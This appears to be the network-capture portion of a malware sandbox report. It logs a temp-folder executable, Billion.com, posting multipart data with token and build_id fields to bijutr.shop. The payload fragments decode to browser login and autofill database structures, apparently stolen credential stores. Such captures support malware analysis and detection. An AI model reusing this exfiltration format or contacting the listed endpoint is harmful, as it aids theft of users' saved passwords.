2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49884	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:05 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----WLFCTR900ZUAAI58QQQ1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:05 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 52 39 30 30 5a 55 41 41 49 35 38 51 51 51 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 52 39 30 30 5a 55 41 41 49 35 38 51 51 51 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 52 39 30 30 5a 55 41 41 49 35 38 51 51 51 31 0d 0a 43 6f 6e 74 Data Ascii: ------WLFCTR900ZUAAI58QQQ1Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------WLFCTR900ZUAAI58QQQ1Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------WLFCTR900ZUAAI58QQQ1Cont
2024-12-24 18:28:05 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:05 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:05 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49890	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:07 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----WTRQIE37YCBIM7Q16XBI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 57 54 52 51 49 45 33 37 59 43 42 49 4d 37 51 31 36 58 42 49 0d 0a 43 6f 6e 74 Data Ascii: ------WTRQIE37YCBIM7Q16XBIContent-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------WTRQIE37YCBIM7Q16XBIContent-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------WTRQIE37YCBIM7Q16XBICont
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-24 18:28:07 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
